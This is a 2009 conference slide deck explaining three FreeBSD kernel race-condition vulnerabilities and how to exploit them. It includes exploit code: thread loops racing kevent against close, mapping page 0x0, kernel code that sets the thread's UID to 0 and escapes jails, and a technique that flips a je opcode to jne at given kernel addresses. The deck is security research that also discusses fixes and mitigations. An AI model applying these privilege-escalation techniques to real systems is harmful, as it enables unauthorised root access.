FreeBSD kernel level vulnerabilities

Przemysław Frasunek
Warsaw, 20th November 2009
CONFidence 2009 II

Agenda

- Motivation
- SMP and locking in modern operating systems
- Race conditions and time hazards affecting kernel
- FreeBSD vulnerabilities:
  - badfo_kqfilter exploit
  - pipeclose exploit
  - devfs exploit
- Conclusions

Motivation (1)

- Operating systems' kernels are affected with the same security vulnerabilities as userland software
  - buffer overflows
  - format string bugs
  - race conditions
  - signedness issues
- Most of general purpose operating systems has monolithic kernel
  - There is no true privilege separation, as in microkernel architecture
  - All device drivers, filesystems and complicated IPC mechanisms are running with highest possible privileges (ring 0)
- Monolithic kernels are usually huge and complicated
  - FreeBSD 6.4 – over 1.3 mil. lines, excluding headers and device drivers

Motivation (2)

- Despite static source code analysis, many trivial security bugs can slip through without being noticed
- Some of them are manifesting itself as stability or reliability issues
- But every single kernel vulnerability can compromise whole security model of OS
  - Crucial security mechanisms (like MAC, auditing, jails) are implemented by the kernel
  - After exploiting kernel vulnerabilities, turning them off is a matter of changing single variable in kernel memory

Motivation (3)

- Searching and exploiting kernel vulnerabilities is not as hard, as people think
  - Three local root exploits in three weekends
  - Well. It’s even worse. Two of them were reported months ago in multiple PRs as stability issues, affecting particular setups
  - Both fixed in –CURRENT without any security advisory
- Interesting places for bug hunting:
  - Syscalls
  - Asynchronous notification mechanisms (like kqueue or epoll)
  - Device drivers
  - Protocol stacks (especially quite new, like Bluetooth or 802.11)

Motivation (4)

- There are no ultimate solutions for them
  - Nonexecutable pages or ASLR?
    - On most architectures, virtual address space is shared between userland processes and kernel
    - Kernel is always mapped from 3 GB (`0xc0000000`) to 4 GB (`0xffffffff`) of VA space
    - Kernel pages are inaccessible from userland, but userland pages are accessible by kernel (as long as no page fault occurs)
    - In case of local exploits, it's trivial to put arbitrary code on userland pages
  - Propolice (or other canary-based stack protection)
    - Implemented in 8.0-CURRENT
    - Stack buffer overflows are not very common these days

Race conditions and time hazards (1)

- Known for a long time before operating systems were invented
  - Logic circuits
- In software – a simultaneous, unsynchronized access to single resource from multiple threads or processes
- Affecting all multitasking operating systems
  - But many of them were unnoticed in single CPU systems
  - …because there was no true execution concurrency
  - Execution flow was changed only by hardware or software interrupts
- There are two flavors of race condition bugs:
  - Time-of-check-to-time-of-use (TOCTTOU)
    - A time gap between evaluating some condition and using the resource

Race conditions and time hazards (2)

- Unsynchronized data structures access
  - Multiple threads are accessing single, global data structure (e.g. linked list)
  - Usually random corruption occurs, leading to unpredictable system crash

- TOCTTOU races are well known in userland
  - Especially affecting file handling, which is relatively slow and therefore quite easy to interrupt by process scheduler

- Classical example:

```
if (access(path, F_OK)) {                          /* time of check */
  fd = open(path, O_WRONLY | O_CREAT, 0600); /* time of use */
  if (fd != -1) {
       write(fd, "hello!\n", 7);
       close(fd);
  }
}
```

Race conditions and time hazards (3)

- In 2001 new kind of race conditions appeared on security scene
- Theo de Raadt and Michał Zalewski observed that UNIX signals can be used to interrupt any non-atomic operation in userland process
- Therefore, some resources (like malloc internal structures) can be left in totally unpredictable state
- But it’s almost impossible to deliver signals in precise timings
  - Context switch occurs every 100 or 10 ms
  - Signals are processed only on switch from kernel to user mode
- Signal races are relatively easy to fix
  - There is a list of reentrant functions, that can be safely used in signal handlers

Race conditions and time hazards (4)

- Most OSes now support SMP (symmetric multiprocessing) and most systems are equipped with multi-core CPUs

- Locking mechanisms are required to synchronize access to global structures
  - Mutexes are atomically acquired locks

- Early SMP systems were using GIANT kernel locks
  - Upon entering the kernel mode (e.g. for syscall), lock for all kernel structures was acquired
  - When syscall was executed on CPU#1, no other thread could enter syscall on CPU#2
  - In busy environments (especially with many I/O), there was a little performance gain, comparing to single processor systems

Race conditions and time hazards (5)

- Linux 2.4 (2001) and FreeBSD 5.0 (2003) supports scheduling threads along with processes
- Since then, OSes are moving to fine-grained locking model, yielding better performance even under heavy I/O load
  - Global resources are locked only for specific operations
- Many stability problems issues quickly arose
  - Too narrow locking leading to memory corruption
  - Too wide locking leading to deadlocks
- I'm going to focus on three kernel race conditions:
  - FreeBSD 6.1 – kqueue on bad FDs
  - FreeBSD 6.4 – kqueue on closed pipes
  - FreeBSD 7.2 – kqueue on bad FDs from devfs

badfo_kqfilter problem (1)

- Reported as repeatable crash (kernel panic) using threaded Squid compiled with kqueue support on SMP system
  - 11 Sep 2006
  - http://www.freebsd.org/cgi/query-pr.cgi?pr=103127
  - Fixed on 24 Sep 2006
- A classical TOCTTOU race:
  - Thread #1 checks if FD is valid
  - Thread #2 closes FD
  - Thread #1 adds invalid FD to kevent notification queue
  - NULL pointer dereference occurs, leading to kernel crash
- Lets look at the code

badfo_kqfilter problem (2)

```
int kqueue_register(struct kqueue *kq, struct kevent *kev, struct
  thread *td, int waitok) {

[…]

if (fops->f_isfd) {
  /* validate descriptor */
  fd = kev->ident;
  if (fd < 0 || fd >= fdp->fd_nfiles || (fp = fdp->fd_ofiles[fd])
  == NULL) {
        FILEDESC_UNLOCK(fdp);
        error = EBADF;
        goto done;
  }

[…many lines below…]

event = kn->kn_fop->f_event(kn, 0);
```

badfo_kqfilter problem (3)

- There is a huge gap between validating file descriptor and using it
- Even after official patch, the bug is still there!
  - But it’s a matter of single instructions between validation and using
  - It’s impossible to hit exactly between two instructions
- Invalid FDs has `f_event == NULL`
- `f_event` is a function pointer
- Jump to `0x0` causes invalid read exception (as the page is not present)
- Let’s try to do some harm

badfo_kqfilter problem (4)

```
void do_thread(void) {
  while(1) {
        memset(&kev, 0, sizeof(kev));
        EV_SET(&kev, fd, EVFILT_VNODE, EV_ADD, 0, 0, NULL);
        kevent(kq, &kev, 1, &ke, 1, &timeout);
  }
}

void do_thread2(void) {
  while (1) {
        fd = open("/tmp/anyfile", O_RDWR | O_CREAT, 0600);
        close (fd);
  }
}

pthread_create(&pth, NULL, (void *)do_thread, NULL);
pthread_create(&pth2, NULL, (void *)do_thread2, NULL);
```

badfo_kqfilter problem (5)

- So this is a DoS, right?
- But wait! Remember what I said about sharing kernel and user memory?
- In fact, page at `0x0` can be easily mapped by unprivileged user

```
mmap(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
  MAP_ANON | MAP_FIXED, -1, 0);
```

- Kernel will access it, just like any other page
- So arbitrary code can be put there and kernel will execute it

badfo_kqfilter problem (6)

- What sort of kernel code can be easily used to escalate privileges?
  - Locate a kernel structure containing information about current thread
  - Change UID of current thread
- In fact, a pointer to `curthread` is available at any time in `%fs` segment register
- So kernel „shellcode” will look like this:

```
static void kernel_code(void) {
  struct thread *thread;
  asm(
       "movl %%fs:0, %0"
       : "=r"(thread)
  );
  thread->td_proc->p_ucred->cr_uid = 0;
}
```

badfo_kqfilter problem (7)

- Now we need only to put it at the beginning of VA space

```
memcpy(0, &kernel_code, &code_end - &kernel_code);
```

- And spawn looping threads, as shown before
- That's it. Instant root.
- Only one additional line of code is needed to escape from jail

```
thread->td_proc->p_ucred->cr_prison = NULL;
```

pipeclose problem (1)

- Reported as repeatable crash (page fault) using dovecot IMAP/POP3 server
  - 10 Dec 2008
  - http://www.freebsd.org/cgi/query-pr.cgi?pr=129550
  - Fixed only in –CURRENT on 23 May 2008
- Present in FreeBSD 6.4 (most recent legacy stable release) and 7.0
- Cause: too narrow mutex
- Destruction of pipe calls `knlist_cleardel()` to remove kqueue monitoring in other processes
- If any kqueue events are still not processed, thread enters sleep, but mutex is being dropped

pipeclose problem (2)

- Exploitation is simple and similar to badfo_kqfilter vulnerability – like before we need just two threads, one trying to add pipe FD to kqueue, second closing it

```
void do_thread(void) {
   while (1) {
         pipe(fd);
         memset(&kev, 0, sizeof(kev));
         EV_SET(&kev, fd[0], EVFILT_READ, EV_ADD | EV_CLEAR, 0, 0, NULL);
         EV_SET(&kev, fd[1], EVFILT_WRITE, EV_ADD | EV_CLEAR, 0, 0, NULL);
         kevent(kq, &kev, 2, &ke, 2, &timeout);
   }
}

void do_thread2(void) {
   while (1) {
         close(fd[0]);
         close(fd[1]);
   }
}
```

pipeclose problem (3)

- Eventually, NULL pointer is dereferenced in `knlist_remove_kq()`
- Rest of exploitation scenario is the same as before
- In this vulnerability, unpredictable kernel memory corruption can occur, leading to kernel crash or process hang
  - Such hung process is unkillable, due to deadlock

devfs/VFS problem (1)

- I found it accidentally, by using badfo_kqfilter exploit on /dev node
  - It caused crash due to invalid read (not jump!) from address `0x1c`
- Problem affected everything up to FreeBSD 7.2 (the most recent stable release)
  - It was silently fixed on 15th May 2009 in –CURRENT
- The cause: `fp->f_vnode` is not initialized in `devfs_open()`
  - After `devfs_open()` a file descriptor is considered valid and can be used
  - But in fact, it is not fully opened – a `f_vnode` is still NULL
  - It will be set later, in `vn_open()`
- Now, using some file operations (poll, kqueue, ioctl, read, write) on such FD causes kernel to enter `devfs_fp_check()` function

devfs/VFS problem (2)

```
static int devfs_fp_check(struct file *fp, struct cdev
  **devp, struct cdevsw **dswp) {
   *dswp = devvn_refthread(fp->f_vnode, devp);
   if (*devp != fp->f_data) {
       if (*dswp != NULL)
             dev_relthread(*devp);
       return (ENXIO);
  }
  […]
}
```

- Basically, a `devvn_refthread()` is called with first argument being NULL

devfs/VFS problem (3)

```
struct cdevsw *devvn_refthread(struct vnode *vp, struct cdev **devp) {
   struct cdevsw *csw;
   struct cdev_priv *cdp;

   mtx_assert(&devmtx, MA_NOTOWNED);
   csw = NULL;
   dev_lock();
   *devp = vp->v_rdev;
   if (*devp != NULL) {
         cdp = (*devp)->si_priv;
         if ((cdp->cdp_flags & CDP_SCHED_DTR) == 0) {
               csw = (*devp)->si_devsw;
               if (csw != NULL)
                     (*devp)->si_threadcount++;
         }
   }
   dev_unlock();
   return (csw);
}
```

vp == NULL

Memory write!

devfs/VFS problem (4)

- *devp is initialized from user-controllable space (page 0x0)
  - Just put required pointer at 0x1c
    - v_rdev is 28 (0x1c) bytes from beginning of vnode structure
- But some additional checks has to be passed
  - *devp can’t be NULL (quite obvious)
  - *devp->si_priv has to be reachable and (si_priv & 2) has to be 0
    - si_priv is at the beginning of cdev structure
  - *devp->si_dev has to be reachable and not NULL
    - si_dev is 100 (0x64) bytes from beginning of cdev structure
- If it’s true, *devp->si_threadcount is incremeneted
  - si_threadcount is 112 (0x70) bytes from beginning of cdev structure

devfs/VFS problem (5)

- So we put arbitrary pointer at `0x1c` and thus we can control 4 byte variable at `*(ptr + 0x70)`
  - It will get incremented

- But unfortunately, an additional condition is evaluated just after returning from affected `devvn_refthread()` function…

```
 *dswp = devvn_refthread(fp->f_vnode, devp);
 if (*devp != fp->f_data) {
      if (*dswp != NULL)
              dev_relthread(*devp);
      return (ENXIO);
}
```

devfs/VFS problem (6)

- And what `dev_relthread()` does anyway?

```
void dev_relthread(struct cdev *dev) {
  […]
  dev->si_threadcount--;
  […]
}
```

- For a some time, I thought, that this vulnerability is a plain DoS, without any possibility to run code
- But I looked and disassembly of `devfs_fp_check()`

devfs/VFS problem (7)

```
c0508bff:       e8 f4 b7 02 00          call    c05343f8
  <devvn_refthread>
c0508c04:       89 07                   mov     %eax,(%edi)
c0508c06:       83 c4 08                add     $0x8,%esp
c0508c09:       8b 03                   mov     (%ebx),%eax
c0508c0b:       3b 46 0c                cmp     0xc(%esi),%eax
c0508c0e:       74 18                   je      c0508c28
  <devfs_fp_check+0x3c>
```

```
*dswp = devvn_refthread(fp->f_vnode, devp);
if (*devp != fp->f_data)
     return (ENXIO);
```

- On IA-32 architecture, a `je` mnemonic (conditional jump if equal) uses opcode `0x74`
- The opposite instruction - `jne` (conditional jump if not equal) is `0x75`

devfs/VFS problem (8)

- Conclusion: we can use `si_threadcount` incrementation to affect kernel code and flip `je` to `jne`

- The modified C code will look like this:

```
 *dswp = devvn_refthread(fp->f_vnode, devp);
 if (*devp == fp->f_data) {
      if (*dswp != NULL)
           dev_relthread(*devp);
      return (ENXIO);
}
```

- So `dev_relthread()` will not be called and therefore, we can continue execution flow

devfs/VFS problem (9)

- Now look at the kqfilter fileop handler for devfs nodes:

```
static int devfs_kqfilter_f(struct file *fp, struct knote *kn) {
  error = devfs_fp_check(fp, &dev, &dsw);
  if (error)
        return (error);
  error = dsw->d_kqfilter(dev, kn);
  dev_relthread(dev);
}
```

- After patching the code with `jne`, the error won't be returned and user-controllable function-pointer will be called
- At the end, `dev_relthread()` will be called and `je` opcode will return to its place

devfs/VFS problem (10)

- Putting it all together:
  - Allocate page at 0x0
  - Put pointer to kernel code segment at 0x1c
    - Specifically, a pointer toje opcode from devfs_fp_check()
    - Don't forget about 0x70 offset
  - All fields from *devp structure will be referenced from code segment
    - They will be junk
    - But they have to be dereferenced to pass the checks
  - You need to allocate some empty pages
    - Which is possible if address is < 0xc0000000
  - Allocate empty page for devp->si_priv dereference
    - 0xa561000 on FreeBSD 7.2 generic kernel

www.atmlab.pl

devfs/VFS problem (11)

- Allocate page for `dsw->d_kqfilter()` function pointers
  - `dsw` is `devp->si_devsw` – also a junk pointer coming from code segment
  - `0x37e3000` on FreeBSD 7.2 generic kernel
- Fill above page with pointers to your „shellcode”
- Run two threads:
  - Thread #1 trying to open file from /dev
  - Thread #2 trying to add FD to kqueue
- Wait for time hazard

Conclusions

- There is no real protection from race condition bugs

- Bugs using NULL pointer dereferences will be non-exploitable if user will be not allowed to map page at 0x0
  - Implemented in Linux since 2007
    - But not properly – look at Spender's exploits

  - FreeBSD errata notice:
    - http://security.freebsd.org/advisories/FreeBSD-EN-09:05.null.asc
    - Protection implemented and turned off by default (can break things)
    - Will be on since 8.0-RELEASE

- But there are many other kernel race conditions in almost all SMP OSes

- Source code auditing is still required to find them

Q&A

Thanks for your attention :)

Any questions?

www.frasunek.com